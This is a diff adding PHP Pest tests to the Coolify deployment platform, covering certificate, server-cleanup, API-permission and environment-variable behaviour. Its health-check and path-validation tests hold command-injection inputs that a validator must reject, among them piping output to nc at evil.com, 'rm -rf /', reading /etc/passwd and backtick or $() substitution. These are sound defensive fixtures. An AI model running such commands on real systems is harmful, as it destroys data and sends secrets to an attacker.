+ expect($caCert->ssl_certificate)->toContain('-----BEGIN CERTIFICATE-----');
+ expect($caCert->ssl_certificate)->toEndWith("-----END CERTIFICATE-----\n");
+});
+
+test('saveCaCertificate rejects completely invalid certificate', function () {
+ SslCertificate::create([
+ 'server_id' => $this->server->id,
+ 'is_ca_certificate' => true,
+ 'ssl_certificate' => 'placeholder',
+ 'ssl_private_key' => 'test-key',
+ 'common_name' => 'Coolify CA Certificate',
+ 'valid_until' => now()->addYears(10),
+ ]);
+
+ Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
+ ->set('certificateContent', "not-a-cert'; rm -rf /; echo '")
+ ->call('saveCaCertificate')
+ ->assertDispatched('error');
+});
+
+test('saveCaCertificate rejects empty certificate content', function () {
+ SslCertificate::create([
+ 'server_id' => $this->server->id,
+ 'is_ca_certificate' => true,
+ 'ssl_certificate' => 'placeholder',
+ 'ssl_private_key' => 'test-key',
+ 'common_name' => 'Coolify CA Certificate',
+ 'valid_until' => now()->addYears(10),
+ ]);
+
+ Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
+ ->set('certificateContent', '')
+ ->call('saveCaCertificate')
+ ->assertDispatched('error');
+});
diff --git a/tests/Feature/CleanupUnreachableServersTest.php b/tests/Feature/CleanupUnreachableServersTest.php
new file mode 100644
index 000000000..edfd0511c
--- /dev/null
+++ b/tests/Feature/CleanupUnreachableServersTest.php
@@ -0,0 +1,73 @@
+= 3 after 7 days', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create([
+ 'team_id' => $team->id,
+ 'unreachable_count' => 50,
+ 'unreachable_notification_sent' => true,
+ 'updated_at' => now()->subDays(8),
+ ]);
+
+ $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
+
+ $server->refresh();
+ expect($server->ip)->toBe('1.2.3.4');
+});
+
+it('does not clean up servers with unreachable_count less than 3', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create([
+ 'team_id' => $team->id,
+ 'unreachable_count' => 2,
+ 'unreachable_notification_sent' => true,
+ 'updated_at' => now()->subDays(8),
+ ]);
+
+ $originalIp = $server->ip;
+
+ $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
+
+ $server->refresh();
+ expect($server->ip)->toBe($originalIp);
+});
+
+it('does not clean up servers updated within 7 days', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create([
+ 'team_id' => $team->id,
+ 'unreachable_count' => 10,
+ 'unreachable_notification_sent' => true,
+ 'updated_at' => now()->subDays(3),
+ ]);
+
+ $originalIp = $server->ip;
+
+ $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
+
+ $server->refresh();
+ expect($server->ip)->toBe($originalIp);
+});
+
+it('does not clean up servers without notification sent', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create([
+ 'team_id' => $team->id,
+ 'unreachable_count' => 10,
+ 'unreachable_notification_sent' => false,
+ 'updated_at' => now()->subDays(8),
+ ]);
+
+ $originalIp = $server->ip;
+
+ $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
+
+ $server->refresh();
+ expect($server->ip)->toBe($originalIp);
+});
diff --git a/tests/Feature/CmdHealthCheckValidationTest.php b/tests/Feature/CmdHealthCheckValidationTest.php
new file mode 100644
index 000000000..038f3000e
--- /dev/null
+++ b/tests/Feature/CmdHealthCheckValidationTest.php
@@ -0,0 +1,90 @@
+ str_repeat('a', 1001)],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
+ $validator = Validator::make(
+ ['healthCheckCommand' => 'pg_isready -U postgres'],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeFalse();
+});
+
+it('accepts null healthCheckCommand', function () use ($commandRules) {
+ $validator = Validator::make(
+ ['healthCheckCommand' => null],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeFalse();
+});
+
+it('accepts simple commands', function ($command) use ($commandRules) {
+ $validator = Validator::make(
+ ['healthCheckCommand' => $command],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeFalse();
+})->with([
+ 'pg_isready -U postgres',
+ 'redis-cli ping',
+ 'curl -f http://localhost:8080/health',
+ 'wget -q -O- http://localhost/health',
+ 'mysqladmin ping -h 127.0.0.1',
+]);
+
+it('rejects commands with shell operators', function ($command) use ($commandRules) {
+ $validator = Validator::make(
+ ['healthCheckCommand' => $command],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeTrue();
+})->with([
+ 'pg_isready; rm -rf /',
+ 'redis-cli ping | nc evil.com 1234',
+ 'curl http://localhost && curl http://evil.com',
+ 'echo $(whoami)',
+ 'cat /etc/passwd > /tmp/out',
+ 'curl `whoami`.evil.com',
+ 'cmd & background',
+ 'echo "hello"',
+ "echo 'hello'",
+ 'test < /etc/passwd',
+ 'bash -c {echo,pwned}',
+ 'curl http://evil.com#comment',
+ 'echo $HOME',
+ "cmd\twith\ttabs",
+ "cmd\nwith\nnewlines",
+]);
+
+it('rejects invalid healthCheckType', function () {
+ $validator = Validator::make(
+ ['healthCheckType' => 'exec'],
+ ['healthCheckType' => 'string|in:http,cmd']
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('accepts valid healthCheckType values', function ($type) {
+ $validator = Validator::make(
+ ['healthCheckType' => $type],
+ ['healthCheckType' => 'string|in:http,cmd']
+ );
+
+ expect($validator->fails())->toBeFalse();
+})->with(['http', 'cmd']);
diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php
new file mode 100644
index 000000000..47e9f3b35
--- /dev/null
+++ b/tests/Feature/CommandInjectionSecurityTest.php
@@ -0,0 +1,276 @@
+getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, '/Dockerfile; echo pwned', 'dockerfile_location'))
+ ->toThrow(RuntimeException::class, 'contains forbidden characters');
+ });
+
+ test('rejects backtick injection', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, '/Dockerfile`whoami`', 'dockerfile_location'))
+ ->toThrow(RuntimeException::class, 'contains forbidden characters');
+ });
+
+ test('rejects dollar sign variable expansion', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, '/Dockerfile$(whoami)', 'dockerfile_location'))
+ ->toThrow(RuntimeException::class, 'contains forbidden characters');
+ });
+
+ test('rejects pipe injection', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, '/Dockerfile | cat /etc/passwd', 'dockerfile_location'))
+ ->toThrow(RuntimeException::class, 'contains forbidden characters');
+ });
+
+ test('rejects ampersand injection', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, '/Dockerfile && env', 'dockerfile_location'))
+ ->toThrow(RuntimeException::class, 'contains forbidden characters');
+ });
+
+ test('rejects path traversal', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, '/../../../etc/passwd', 'dockerfile_location'))
+ ->toThrow(RuntimeException::class, 'path traversal detected');
+ });
+
+ test('allows valid simple path', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect($method->invoke($instance, '/Dockerfile', 'dockerfile_location'))
+ ->toBe('/Dockerfile');
+ });
+
+ test('allows valid nested path with dots and hyphens', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect($method->invoke($instance, '/docker/Dockerfile.prod', 'dockerfile_location'))
+ ->toBe('/docker/Dockerfile.prod');
+ });
+
+ test('allows valid compose file path', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect($method->invoke($instance, '/docker-compose.prod.yml', 'docker_compose_location'))
+ ->toBe('/docker-compose.prod.yml');
+ });
+});
+
+describe('API validation rules for path fields', function () {
+ test('dockerfile_location validation rejects shell metacharacters', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['dockerfile_location' => '/Dockerfile; echo pwned; #'],
+ ['dockerfile_location' => $rules['dockerfile_location']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('dockerfile_location validation allows valid paths', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['dockerfile_location' => '/docker/Dockerfile.prod'],
+ ['dockerfile_location' => $rules['dockerfile_location']]
+ );
+
+ expect($validator->fails())->toBeFalse();
+ });
+
+ test('docker_compose_location validation rejects shell metacharacters', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['docker_compose_location' => '/docker-compose.yml; env; #'],
+ ['docker_compose_location' => $rules['docker_compose_location']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('docker_compose_location validation allows valid paths', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['docker_compose_location' => '/docker/docker-compose.prod.yml'],
+ ['docker_compose_location' => $rules['docker_compose_location']]
+ );
+
+ expect($validator->fails())->toBeFalse();
+ });
+});
+
+describe('sharedDataApplications rules survive array_merge in controller', function () {
+ test('docker_compose_location safe regex is not overridden by local rules', function () {
+ $sharedRules = sharedDataApplications();
+
+ // Simulate what ApplicationsController does: array_merge(shared, local)
+ // After our fix, local no longer contains docker_compose_location,
+ // so the shared regex rule must survive
+ $localRules = [
+ 'name' => 'string|max:255',
+ 'docker_compose_domains' => 'array|nullable',
+ ];
+ $merged = array_merge($sharedRules, $localRules);
+
+ // The merged rules for docker_compose_location should be the safe regex, not just 'string'
+ expect($merged['docker_compose_location'])->toBeArray();
+ expect($merged['docker_compose_location'])->toContain('regex:/^\/[a-zA-Z0-9._\-\/]+$/');
+ });
+});
+
+describe('path fields require leading slash', function () {
+ test('dockerfile_location without leading slash is rejected by API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['dockerfile_location' => 'Dockerfile'],
+ ['dockerfile_location' => $rules['dockerfile_location']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('docker_compose_location without leading slash is rejected by API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['docker_compose_location' => 'docker-compose.yaml'],
+ ['docker_compose_location' => $rules['docker_compose_location']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('deployment job rejects path without leading slash', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, 'docker-compose.yaml', 'docker_compose_location'))
+ ->toThrow(RuntimeException::class, 'contains forbidden characters');
+ });
+});
+
+describe('API route middleware for deploy actions', function () {
+ test('application start route requires deploy ability', function () {
+ $routes = app('router')->getRoutes();
+ $route = $routes->getByAction('App\Http\Controllers\Api\ApplicationsController@action_deploy');
+
+ expect($route)->not->toBeNull();
+ $middleware = $route->gatherMiddleware();
+ expect($middleware)->toContain('api.ability:deploy');
+ expect($middleware)->not->toContain('api.ability:write');
+ });
+
+ test('application restart route requires deploy ability', function () {
+ $routes = app('router')->getRoutes();
+ $matchedRoute = null;
+ foreach ($routes as $route) {
+ if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'restart')) {
+ $matchedRoute = $route;
+ break;
+ }
+ }
+
+ expect($matchedRoute)->not->toBeNull();
+ $middleware = $matchedRoute->gatherMiddleware();
+ expect($middleware)->toContain('api.ability:deploy');
+ });
+
+ test('application stop route requires deploy ability', function () {
+ $routes = app('router')->getRoutes();
+ $matchedRoute = null;
+ foreach ($routes as $route) {
+ if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'stop')) {
+ $matchedRoute = $route;
+ break;
+ }
+ }
+
+ expect($matchedRoute)->not->toBeNull();
+ $middleware = $matchedRoute->gatherMiddleware();
+ expect($middleware)->toContain('api.ability:deploy');
+ });
+
+ test('database start route requires deploy ability', function () {
+ $routes = app('router')->getRoutes();
+ $matchedRoute = null;
+ foreach ($routes as $route) {
+ if (str_contains($route->uri(), 'databases') && str_contains($route->uri(), 'start')) {
+ $matchedRoute = $route;
+ break;
+ }
+ }
+
+ expect($matchedRoute)->not->toBeNull();
+ $middleware = $matchedRoute->gatherMiddleware();
+ expect($middleware)->toContain('api.ability:deploy');
+ });
+
+ test('service start route requires deploy ability', function () {
+ $routes = app('router')->getRoutes();
+ $matchedRoute = null;
+ foreach ($routes as $route) {
+ if (str_contains($route->uri(), 'services') && str_contains($route->uri(), 'start')) {
+ $matchedRoute = $route;
+ break;
+ }
+ }
+
+ expect($matchedRoute)->not->toBeNull();
+ $middleware = $matchedRoute->gatherMiddleware();
+ expect($middleware)->toContain('api.ability:deploy');
+ });
+});
diff --git a/tests/Feature/DockerCustomCommandsTest.php b/tests/Feature/DockerCustomCommandsTest.php
index 5d9dcd174..74bff2043 100644
--- a/tests/Feature/DockerCustomCommandsTest.php
+++ b/tests/Feature/DockerCustomCommandsTest.php
@@ -198,3 +198,20 @@
'entrypoint' => 'python -c "print(\"hi\")"',
]);
});
+
+test('ConvertIp6', function () {
+ $input = '--ip6 2001:db8::1';
+ $output = convertDockerRunToCompose($input);
+ expect($output)->toBe([
+ 'ip6' => ['2001:db8::1'],
+ ]);
+});
+
+test('ConvertIpAndIp6Together', function () {
+ $input = '--ip 172.20.0.5 --ip6 2001:db8::1';
+ $output = convertDockerRunToCompose($input);
+ expect($output)->toBe([
+ 'ip' => ['172.20.0.5'],
+ 'ip6' => ['2001:db8::1'],
+ ]);
+});
diff --git a/tests/Feature/DomainsByServerApiTest.php b/tests/Feature/DomainsByServerApiTest.php
new file mode 100644
index 000000000..1e799bec5
--- /dev/null
+++ b/tests/Feature/DomainsByServerApiTest.php
@@ -0,0 +1,80 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
+ $this->bearerToken = $this->token->plainTextToken;
+
+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+ $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
+ $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+ $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+});
+
+function authHeaders(): array
+{
+ return [
+ 'Authorization' => 'Bearer '.test()->bearerToken,
+ ];
+}
+
+test('returns domains for own team application via uuid query param', function () {
+ $application = Application::factory()->create([
+ 'fqdn' => 'https://my-app.example.com',
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(authHeaders())
+ ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$application->uuid}");
+
+ $response->assertOk();
+ $response->assertJsonFragment(['my-app.example.com']);
+});
+
+test('returns 404 when application uuid belongs to another team', function () {
+ $otherTeam = Team::factory()->create();
+ $otherUser = User::factory()->create();
+ $otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
+
+ $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
+ $otherDestination = StandaloneDocker::factory()->create(['server_id' => $otherServer->id]);
+ $otherProject = Project::factory()->create(['team_id' => $otherTeam->id]);
+ $otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]);
+
+ $otherApplication = Application::factory()->create([
+ 'fqdn' => 'https://secret-app.internal.company.com',
+ 'environment_id' => $otherEnvironment->id,
+ 'destination_id' => $otherDestination->id,
+ 'destination_type' => $otherDestination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(authHeaders())
+ ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$otherApplication->uuid}");
+
+ $response->assertNotFound();
+ $response->assertJson(['message' => 'Application not found.']);
+});
+
+test('returns 404 for nonexistent application uuid', function () {
+ $response = $this->withHeaders(authHeaders())
+ ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid=nonexistent-uuid");
+
+ $response->assertNotFound();
+ $response->assertJson(['message' => 'Application not found.']);
+});
diff --git a/tests/Feature/EnvironmentVariableCommentTest.php b/tests/Feature/EnvironmentVariableCommentTest.php
new file mode 100644
index 000000000..e7f9a07fb
--- /dev/null
+++ b/tests/Feature/EnvironmentVariableCommentTest.php
@@ -0,0 +1,283 @@
+user = User::factory()->create();
+ $this->team = Team::factory()->create();
+ $this->team->members()->attach($this->user, ['role' => 'owner']);
+ $this->application = Application::factory()->create([
+ 'team_id' => $this->team->id,
+ ]);
+
+ $this->actingAs($this->user);
+});
+
+test('environment variable can be created with comment', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'comment' => 'This is a test environment variable',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env->comment)->toBe('This is a test environment variable');
+ expect($env->key)->toBe('TEST_VAR');
+ expect($env->value)->toBe('test_value');
+});
+
+test('environment variable comment is optional', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env->comment)->toBeNull();
+ expect($env->key)->toBe('TEST_VAR');
+});
+
+test('environment variable comment can be updated', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'comment' => 'Initial comment',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ $env->comment = 'Updated comment';
+ $env->save();
+
+ $env->refresh();
+ expect($env->comment)->toBe('Updated comment');
+});
+
+test('environment variable comment is preserved when updating value', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'initial_value',
+ 'comment' => 'Important variable for testing',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ $env->value = 'new_value';
+ $env->save();
+
+ $env->refresh();
+ expect($env->value)->toBe('new_value');
+ expect($env->comment)->toBe('Important variable for testing');
+});
+
+test('environment variable comment is copied to preview environment', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'comment' => 'Test comment',
+ 'is_preview' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // The model's created() event listener automatically creates a preview version
+ $previewEnv = EnvironmentVariable::where('key', 'TEST_VAR')
+ ->where('resourceable_id', $this->application->id)
+ ->where('is_preview', true)
+ ->first();
+
+ expect($previewEnv)->not->toBeNull();
+ expect($previewEnv->comment)->toBe('Test comment');
+});
+
+test('parseEnvFormatToArray preserves values without inline comments', function () {
+ $input = "KEY1=value1\nKEY2=value2";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value1', 'comment' => null],
+ 'KEY2' => ['value' => 'value2', 'comment' => null],
+ ]);
+});
+
+test('developer view format does not break with comment-like values', function () {
+ // Values that contain # but shouldn't be treated as comments when quoted
+ $env1 = EnvironmentVariable::create([
+ 'key' => 'HASH_VAR',
+ 'value' => 'value_with_#_in_it',
+ 'comment' => 'Contains hash symbol',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env1->value)->toBe('value_with_#_in_it');
+ expect($env1->comment)->toBe('Contains hash symbol');
+});
+
+test('environment variable comment can store up to 256 characters', function () {
+ $comment = str_repeat('a', 256);
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'comment' => $comment,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env->comment)->toBe($comment);
+ expect(strlen($env->comment))->toBe(256);
+});
+
+test('environment variable comment cannot exceed 256 characters via Livewire', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ $longComment = str_repeat('a', 257);
+
+ Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\Show::class, ['env' => $env, 'type' => 'application'])
+ ->set('comment', $longComment)
+ ->call('submit')
+ ->assertHasErrors(['comment' => 'max']);
+});
+
+test('bulk update preserves existing comments when no inline comment provided', function () {
+ // Create existing variable with a manually-entered comment
+ $env = EnvironmentVariable::create([
+ 'key' => 'DATABASE_URL',
+ 'value' => 'postgres://old-host',
+ 'comment' => 'Production database',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // User switches to Developer view and pastes new value without inline comment
+ $bulkContent = "DATABASE_URL=postgres://new-host\nOTHER_VAR=value";
+
+ Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [
+ 'resource' => $this->application,
+ 'type' => 'application',
+ ])
+ ->set('variables', $bulkContent)
+ ->call('submit');
+
+ // Refresh the environment variable
+ $env->refresh();
+
+ // The value should be updated
+ expect($env->value)->toBe('postgres://new-host');
+
+ // The manually-entered comment should be PRESERVED
+ expect($env->comment)->toBe('Production database');
+});
+
+test('bulk update overwrites existing comments when inline comment provided', function () {
+ // Create existing variable with a comment
+ $env = EnvironmentVariable::create([
+ 'key' => 'API_KEY',
+ 'value' => 'old-key',
+ 'comment' => 'Old comment',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // User pastes new value WITH inline comment
+ $bulkContent = 'API_KEY=new-key #Updated production key';
+
+ Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [
+ 'resource' => $this->application,
+ 'type' => 'application',
+ ])
+ ->set('variables', $bulkContent)
+ ->call('submit');
+
+ // Refresh the environment variable
+ $env->refresh();
+
+ // The value should be updated
+ expect($env->value)->toBe('new-key');
+
+ // The comment should be OVERWRITTEN with the inline comment
+ expect($env->comment)->toBe('Updated production key');
+});
+
+test('bulk update handles mixed inline and stored comments correctly', function () {
+ // Create two variables with comments
+ $env1 = EnvironmentVariable::create([
+ 'key' => 'VAR_WITH_COMMENT',
+ 'value' => 'value1',
+ 'comment' => 'Existing comment 1',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ $env2 = EnvironmentVariable::create([
+ 'key' => 'VAR_WITHOUT_COMMENT',
+ 'value' => 'value2',
+ 'comment' => 'Existing comment 2',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Bulk paste: one with inline comment, one without
+ $bulkContent = "VAR_WITH_COMMENT=new_value1 #New inline comment\nVAR_WITHOUT_COMMENT=new_value2";
+
+ Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [
+ 'resource' => $this->application,
+ 'type' => 'application',
+ ])
+ ->set('variables', $bulkContent)
+ ->call('submit');
+
+ // Refresh both variables
+ $env1->refresh();
+ $env2->refresh();
+
+ // First variable: comment should be overwritten with inline comment
+ expect($env1->value)->toBe('new_value1');
+ expect($env1->comment)->toBe('New inline comment');
+
+ // Second variable: comment should be preserved
+ expect($env2->value)->toBe('new_value2');
+ expect($env2->comment)->toBe('Existing comment 2');
+});
+
+test('bulk update creates new variables with inline comments', function () {
+ // Bulk paste creates new variables, some with inline comments
+ $bulkContent = "NEW_VAR1=value1 #Comment for var1\nNEW_VAR2=value2\nNEW_VAR3=value3 #Comment for var3";
+
+ Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [
+ 'resource' => $this->application,
+ 'type' => 'application',
+ ])
+ ->set('variables', $bulkContent)
+ ->call('submit');
+
+ // Check that variables were created with correct comments
+ $var1 = EnvironmentVariable::where('key', 'NEW_VAR1')
+ ->where('resourceable_id', $this->application->id)
+ ->first();
+ $var2 = EnvironmentVariable::where('key', 'NEW_VAR2')
+ ->where('resourceable_id', $this->application->id)
+ ->first();
+ $var3 = EnvironmentVariable::where('key', 'NEW_VAR3')
+ ->where('resourceable_id', $this->application->id)
+ ->first();
+
+ expect($var1->value)->toBe('value1');
+ expect($var1->comment)->toBe('Comment for var1');
+
+ expect($var2->value)->toBe('value2');
+ expect($var2->comment)->toBeNull();
+
+ expect($var3->value)->toBe('value3');
+ expect($var3->comment)->toBe('Comment for var3');
+});
diff --git a/tests/Feature/EnvironmentVariableMassAssignmentTest.php b/tests/Feature/EnvironmentVariableMassAssignmentTest.php
new file mode 100644
index 000000000..f2650fdc7
--- /dev/null
+++ b/tests/Feature/EnvironmentVariableMassAssignmentTest.php
@@ -0,0 +1,217 @@
+user = User::factory()->create();
+ $this->team = Team::factory()->create();
+ $this->team->members()->attach($this->user, ['role' => 'owner']);
+ $this->application = Application::factory()->create();
+
+ $this->actingAs($this->user);
+});
+
+test('all fillable fields can be mass assigned', function () {
+ $data = [
+ 'key' => 'TEST_KEY',
+ 'value' => 'test_value',
+ 'comment' => 'Test comment',
+ 'is_literal' => true,
+ 'is_multiline' => true,
+ 'is_preview' => false,
+ 'is_runtime' => true,
+ 'is_buildtime' => false,
+ 'is_shown_once' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ];
+
+ $env = EnvironmentVariable::create($data);
+
+ expect($env->key)->toBe('TEST_KEY');
+ expect($env->value)->toBe('test_value');
+ expect($env->comment)->toBe('Test comment');
+ expect($env->is_literal)->toBeTrue();
+ expect($env->is_multiline)->toBeTrue();
+ expect($env->is_preview)->toBeFalse();
+ expect($env->is_runtime)->toBeTrue();
+ expect($env->is_buildtime)->toBeFalse();
+ expect($env->is_shown_once)->toBeFalse();
+ expect($env->resourceable_type)->toBe(Application::class);
+ expect($env->resourceable_id)->toBe($this->application->id);
+});
+
+test('comment field can be mass assigned with null', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'comment' => null,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env->comment)->toBeNull();
+});
+
+test('comment field can be mass assigned with empty string', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'comment' => '',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env->comment)->toBe('');
+});
+
+test('comment field can be mass assigned with long text', function () {
+ $comment = str_repeat('This is a long comment. ', 10);
+
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'comment' => $comment,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env->comment)->toBe($comment);
+ expect(strlen($env->comment))->toBe(strlen($comment));
+});
+
+test('all boolean fields default correctly when not provided', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Boolean fields can be null or false depending on database defaults
+ expect($env->is_multiline)->toBeIn([false, null]);
+ expect($env->is_preview)->toBeIn([false, null]);
+ expect($env->is_runtime)->toBeIn([false, null]);
+ expect($env->is_buildtime)->toBeIn([false, null]);
+ expect($env->is_shown_once)->toBeIn([false, null]);
+});
+
+test('value field is properly encrypted when mass assigned', function () {
+ $plainValue = 'secret_value_123';
+
+ $env = EnvironmentVariable::create([
+ 'key' => 'SECRET_KEY',
+ 'value' => $plainValue,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Value should be decrypted when accessed via model
+ expect($env->value)->toBe($plainValue);
+
+ // Verify it's actually encrypted in the database
+ $rawValue = \DB::table('environment_variables')
+ ->where('id', $env->id)
+ ->value('value');
+
+ expect($rawValue)->not->toBe($plainValue);
+ expect($rawValue)->not->toBeNull();
+});
+
+test('key field is trimmed and spaces replaced with underscores', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => ' TEST KEY WITH SPACES ',
+ 'value' => 'test_value',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env->key)->toBe('TEST_KEY_WITH_SPACES');
+});
+
+test('version field can be mass assigned', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'version' => '1.2.3',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
